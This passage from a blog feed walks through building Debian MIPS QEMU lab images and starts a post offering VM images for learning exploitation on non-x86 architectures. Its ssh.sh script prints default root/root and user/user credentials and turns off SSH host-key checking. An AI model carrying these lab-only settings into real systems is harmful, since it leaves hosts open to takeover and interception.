&lt;p&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.mail-archive.com&#x2F;debian-bugs-dist@lists.debian.org&#x2F;msg1525239.html&quot;&gt;Source&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Then your MIPSel (Malta-flavor) system boots, and you end up in the regular
&lt;code&gt;ncurses&lt;&#x2F;code&gt; Debian installer.&lt;&#x2F;p&gt;
&lt;p&gt;{{ img(src=“https:&#x2F;&#x2F;i.imgur.com&#x2F;IqDge4n.png” title=“1.debian.installer.png”%“) }}&lt;&#x2F;p&gt;
&lt;p&gt;Let the installer do its magic.&lt;&#x2F;p&gt;
&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;Lg6Db5x.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;Lg6Db5x.png&quot;

    

    
    title=&quot;3.debian.partition.png&quot;
    alt=&quot;3.debian.partition.png&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;Since it’s a VM for test and lab stuff, the guided partitioning is more than
enough (and select &lt;code&gt;All files in one partition&lt;&#x2F;code&gt;). Feel free to tweak that part.&lt;&#x2F;p&gt;
&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;iv31UxH.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;iv31UxH.png&quot;

    

    
    title=&quot;2.debian.installation.png&quot;
    alt=&quot;2.debian.installation.png&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;I usually install only the minimum OS to get a running shell once I boot. For
there I install everything from &lt;code&gt;apt-get&lt;&#x2F;code&gt;. With a proper &lt;code&gt;openssh-server&lt;&#x2F;code&gt;
installed, I then create 2 scripts:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;start.sh&lt;&#x2F;code&gt; with all the good QEMU parameters, to launch the VM in
non-graphic mode, and set up the port forward on tcp&#x2F;22&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;ssh.sh&lt;&#x2F;code&gt; to connect to the VM.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Debian will detect no boot loader, and show the following warning:&lt;&#x2F;p&gt;
&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;fuxZCDU.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;fuxZCDU.png&quot;

    

    
    title=&quot;7.debian.end_installer.png&quot;
    alt=&quot;7.debian.end_installer.png&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;So remember to append &lt;code&gt;root=&#x2F;dev&#x2F;sda1&lt;&#x2F;code&gt; to &lt;code&gt;-append&lt;&#x2F;code&gt; option before running your
Qemu.&lt;&#x2F;p&gt;
&lt;p&gt;Then the installation will finish successfully:
&lt;a href=&quot;http:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;qFvh3cM.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;http:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;qFvh3cM.png&quot;

    

    
    title=&quot;6.debian.complete.png&quot;
    alt=&quot;6.debian.complete.png&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;fixing-the-last-quirks&quot;&gt;Fixing the last quirks&lt;&#x2F;h3&gt;
&lt;p&gt;If you try to boot directly the VM by simply removing the &lt;code&gt;-initrd&lt;&#x2F;code&gt; line, the
kernel will panic like this:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;end&lt;&#x2F;span&gt;&lt;span&gt; Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(0,0)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We must extract the &lt;code&gt;initrd&lt;&#x2F;code&gt; image from the installation: to do so you must
mounting the QEMU disk via the
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Network_block_device&quot;&gt;Network Block Device&lt;&#x2F;a&gt;
kernel module &lt;code&gt;nbd&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; sudo apt install nbd-client
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; sudo modprobe nbd max_part=8
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; sudo qemu-nbd&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; --connect&lt;&#x2F;span&gt;&lt;span&gt;=&#x2F;dev&#x2F;nbd0 disk.qcow2
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; mkdir mnt
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; sudo mount &#x2F;dev&#x2F;nbd0p1 mnt
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Extract the initramfs file (&lt;code&gt;initrd.img&lt;&#x2F;code&gt;) from &lt;code&gt;MOUNT_PATH&#x2F;boot&#x2F;&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; cp mnt&#x2F;boot&#x2F;initrd.img-4.9.0-4-4kc-malta . &amp;amp;&amp;amp; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;sync
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And unmount the NBD device.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; sudo umount &#x2F;dev&#x2F;nbd0p1
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; sudo nbd-client&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -d&lt;&#x2F;span&gt;&lt;span&gt; &#x2F;dev&#x2F;nbd0
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;You can now boot the VM with the following command:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; qemu-system-mipsel&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -M&lt;&#x2F;span&gt;&lt;span&gt; malta&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -m&lt;&#x2F;span&gt;&lt;span&gt; 1G \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;  -hda&lt;&#x2F;span&gt;&lt;span&gt; .&#x2F;disk.qcow2 \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;  -initrd&lt;&#x2F;span&gt;&lt;span&gt; .&#x2F;initrd.img-4.9.0-4-4kc-malta \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;  -kernel&lt;&#x2F;span&gt;&lt;span&gt; .&#x2F;vmlinux-4.9.0-4-4kc-malta&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -append &lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;nokaslr root=&#x2F;dev&#x2F;sda1&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;  -nographic
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;a href=&quot;http:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;6h0Wxed.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;http:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;6h0Wxed.png&quot;

    

    
    title=&quot;9.first.boot.png&quot;
    alt=&quot;9.first.boot.png&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;On all the images I’ve created, Debian doesn’t properly DHCP the Ethernet
interface (get a wrong name for the interface), so it must be done manually at
the first boot (use &lt;code&gt;ip -a&lt;&#x2F;code&gt; to show the interface name):&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# cat &amp;gt; &#x2F;etc&#x2F;network&#x2F;interfaces &amp;lt;&amp;lt; EOF
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;auto&lt;&#x2F;span&gt;&lt;span&gt; lo
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;iface&lt;&#x2F;span&gt;&lt;span&gt; lo inet loopback
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;iface&lt;&#x2F;span&gt;&lt;span&gt; enp0s18 inet dhcp
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;EOF
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# shutdown -h now
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;You can now use the &lt;code&gt;start.sh&lt;&#x2F;code&gt; script to init the VM, and &lt;code&gt;ssh.sh&lt;&#x2F;code&gt; to SSH to it
as &lt;code&gt;user&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;The &lt;code&gt;start.sh&lt;&#x2F;code&gt; usually looks like&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;#!&#x2F;bin&#x2F;bash
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;KERNEL&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;.&#x2F;vmlinux-4.9.0-4-5kc-malta
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;INITRD&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;.&#x2F;initrd.img-4.9.0-4-5kc-malta
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;HDD&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;.&#x2F;disk.qcow2
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;SSH_PORT&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;22055
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;EXTRA_PORT&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;33055
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;qemu-system-mips64el -M&lt;&#x2F;span&gt;&lt;span&gt; malta&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -m&lt;&#x2F;span&gt;&lt;span&gt; 512&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -cpu&lt;&#x2F;span&gt;&lt;span&gt; MIPS64R2-generic \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;                   -kernel &lt;&#x2F;span&gt;&lt;span&gt;${&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;KERNEL&lt;&#x2F;span&gt;&lt;span&gt;} \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;                   -initrd &lt;&#x2F;span&gt;&lt;span&gt;${&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;INITRD&lt;&#x2F;span&gt;&lt;span&gt;} \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;                   -hda &lt;&#x2F;span&gt;&lt;span&gt;${&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;HDD&lt;&#x2F;span&gt;&lt;span&gt;} \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;                   -net&lt;&#x2F;span&gt;&lt;span&gt; nic,model=e1000 \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;                   -net&lt;&#x2F;span&gt;&lt;span&gt; user,hostfwd=tcp:127.0.0.1:${&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;SSH_PORT&lt;&#x2F;span&gt;&lt;span&gt;}-:22,hostfwd=tcp:127.0.0.1:${&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;EXTRA_PORT&lt;&#x2F;span&gt;&lt;span&gt;}-:4444 \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;                   -display&lt;&#x2F;span&gt;&lt;span&gt; none&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -vga&lt;&#x2F;span&gt;&lt;span&gt; none&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -nographic &lt;&#x2F;span&gt;&lt;span&gt;\
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;                   -append &lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;nokaslr root=&#x2F;dev&#x2F;sda1 console=ttyS0&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;exit&lt;&#x2F;span&gt;&lt;span&gt; 0
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And the &lt;code&gt;ssh.sh&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;#!&#x2F;bin&#x2F;sh
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;echo &lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Existing users : &amp;#39;root&#x2F;root&amp;#39; &amp;amp; &amp;#39;user&#x2F;user&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ssh -o&lt;&#x2F;span&gt;&lt;span&gt; UserKnownHostsFile=&#x2F;dev&#x2F;null&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -o&lt;&#x2F;span&gt;&lt;span&gt; StrictHostKeyChecking=no&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -p&lt;&#x2F;span&gt;&lt;span&gt; 22055 user@127.0.0.1 -- $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;exit&lt;&#x2F;span&gt;&lt;span&gt; 0
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;For Windows, simply convert &lt;code&gt;script.sh&lt;&#x2F;code&gt; to Batch.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;download-the-new-images&quot;&gt;Download the new images&lt;&#x2F;h3&gt;
&lt;p&gt;Since I’ve built in parallel a Malta MIPS32el and MIPS64el for this tutorial,
both have been added to the &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;mega.nz&#x2F;#F!oMoVzQaJ!iS73iiQQ3t_6HuE-XpnyaA&quot;&gt;folder on Mega.nz&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;The MIPS64el was created &lt;strong&gt;exactly&lt;&#x2F;strong&gt; the same way, except that QEMU required the
proper CPU version to boot correctly:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; qemu-system-mips64el&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -M&lt;&#x2F;span&gt;&lt;span&gt; malta&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -cpu&lt;&#x2F;span&gt;&lt;span&gt; MIPS64R2-generic&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -m&lt;&#x2F;span&gt;&lt;span&gt; 1G \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;  -hda&lt;&#x2F;span&gt;&lt;span&gt; .&#x2F;disk.qcow2 \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;  -initrd&lt;&#x2F;span&gt;&lt;span&gt; .&#x2F;initrd.gz \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;  -kernel&lt;&#x2F;span&gt;&lt;span&gt; .&#x2F;vmlinux-4.9.0-4-5kc-malta&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -append &lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;nokaslr&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;  -nographic
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The adequate files were downloaded from
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;ftp.debian.org&#x2F;debian&#x2F;dists&#x2F;&quot;&gt;here&lt;&#x2F;a&gt;, then choose your wanted version (here, &lt;code&gt;Debian9.13&lt;&#x2F;code&gt;) and go to &lt;code&gt;main&#x2F;installer-mips64el&lt;&#x2F;code&gt; to download the installer files.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;a-few-known-issues&quot;&gt;A few known issues&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;The kernel doesn’t boot the &lt;code&gt;initrd&lt;&#x2F;code&gt;: from my experience on it, either your
initrd is incorrect, or try to append proper kernel boot options
(&lt;code&gt;-append&lt;&#x2F;code&gt;).&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;The error &lt;code&gt;WARNING: I&#x2F;O thread spun for 1000 iterations&lt;&#x2F;code&gt; appears often:
that’s a QEMU warning from
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;qemu&#x2F;qemu&#x2F;blob&#x2F;master&#x2F;util&#x2F;main-loop.c#L219&quot;&gt;&lt;code&gt;os_host_main_loop_wait()&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; and
the code provides a good description of the issue:&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;&#x2F;**&lt;&#x2F;span&gt;&lt;span&gt; If the I&#x2F;O thread is very busy or we are incorrectly busy waiting in
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt; the I&#x2F;O thread, this can lead to starvation of the BQL such that the
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt; VCPU threads never run.  To make sure we can detect the later case,
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt; print a message to the screen.  If we run into this condition, create
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt; a fake timeout in order to give the VCPU threads a chance to run.
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;*&#x2F;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;For simplicity, I highly recommend to only use the official repo (from
&lt;code&gt;deb.debian.org&lt;&#x2F;code&gt; or &lt;code&gt;mirrors.kernel.org&lt;&#x2F;code&gt;). It might be a bit slower than
your local mirror, but mirrors do not always mirror &lt;strong&gt;all&lt;&#x2F;strong&gt; the
architectures generated by Debian maintainers.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;conclusion&quot;&gt;Conclusion&lt;&#x2F;h3&gt;
&lt;p&gt;That’s how you get started with making your own QEMU images. Debian, as the real
hacker distro it is, is usually the one that works best for trying weird
combination, and MIPS CPUs are very well supported. More posts will come on
building other QEMU images for other ABI, which are not necessarily that easy to
setup.&lt;&#x2F;p&gt;
&lt;p&gt;I hope you now have all the information to make your own QEMU images.
Thanks for reading!&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Note&lt;&#x2F;em&gt; (2017-11-15): links updated&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Some Qemu images to play with</title>
        <published>2017-06-25T00:00:00+00:00</published>
        <updated>2017-06-25T00:00:00+00:00</updated>
        
        <author>
          <name>
            hugsy
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blahcat.github.io/2017-06-25-qemu-images-to-play-with/"/>
        <id>https://blahcat.github.io/2017-06-25-qemu-images-to-play-with/</id>
        
        <content type="html" xml:base="https://blahcat.github.io/2017-06-25-qemu-images-to-play-with/">&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;TL;DR&lt;&#x2F;strong&gt;
Ready-to-play Qemu images for under-rated architectures (ARM, MIPS, PowerPC,
SPARC, AARCH64) to play with, with all the tools builtin to understand memory
corruption on non x86 environments
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;mega.nz&#x2F;#F!oMoVzQaJ!iS73iiQQ3t_6HuE-XpnyaA&quot;&gt;here&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Update &lt;em&gt;(2018&#x2F;05&#x2F;15)&lt;&#x2F;em&gt;&lt;&#x2F;strong&gt;
The Mega.NZ repository was cloned to Google Drive, available
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;drive.google.com&#x2F;drive&#x2F;folders&#x2F;107uMlL_DS8yD2TS_0yrHXBDnLOj44a8P?usp=sharing&quot;&gt;here&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;become-a-ninja-on-non-x86-architectures&quot;&gt;Become a ninja on non-x86 architectures !&lt;&#x2F;h2&gt;
&lt;p&gt;A few weeks back, I came across  &lt;a class=&quot;fab fa-twitter&quot; href=&quot;https:&#x2F;&#x2F;twitter.com&#x2F;Fox0x01&quot; target=&quot;_blank&quot;&gt;
&lt;code&gt;@Fox0x01&lt;&#x2F;code&gt;
&lt;&#x2F;a&gt;
 to get started with learning debugging and exploitation techniques on ARM. If you haven’t checked it out, make sure you add this on your to-read list.&lt;&#x2F;p&gt;
&lt;p&gt;I have been initially developing &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;hugsy&#x2F;gef.git&quot;&gt;&lt;code&gt;gef&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; for the same reason, to learn more about non-x86 architectures. So in the same spirit of openness that Azeria has shown, I am releasing a few Qemu virtual machines to start immediately playing with ARM, MIPS, PowerPC and AARCH64 architectures!&lt;&#x2F;p&gt;
&lt;p&gt;All you need is &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.qemu.org&quot;&gt;Qemu&lt;&#x2F;a&gt;. Then download the link to your image, and unzip the archive.&lt;&#x2F;p&gt;
&lt;p&gt;If you are on Linux&#x2F;OSX, run in a terminal (or double-click) on the &lt;code&gt;.&#x2F;start.sh&lt;&#x2F;code&gt; script, when our Windows friend would simply need to double-click the &lt;code&gt;.&#x2F;start.bat&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Each VM will also TCP forward its SSH port for easy interaction. On Linux&#x2F;OSX, just run &lt;code&gt;.&#x2F;ssh.sh&lt;&#x2F;code&gt;. Windows users will need tools like &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.chiark.greenend.org.uk&#x2F;~sgtatham&#x2F;putty&#x2F;latest.html&quot;&gt;&lt;code&gt;PuTTY&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Those images are battery-included, development tools, compilation and debugging tools too. Ever wondered what SPARC assembly looks like? Always feeling itchy to learn about memory corruption on PowerPC? Wait no more!&lt;&#x2F;p&gt;
&lt;h2 id=&quot;links&quot;&gt;Links&lt;&#x2F;h2&gt;
&lt;p&gt;Without further ado:&lt;&#x2F;p&gt;
&lt;ul&gt;
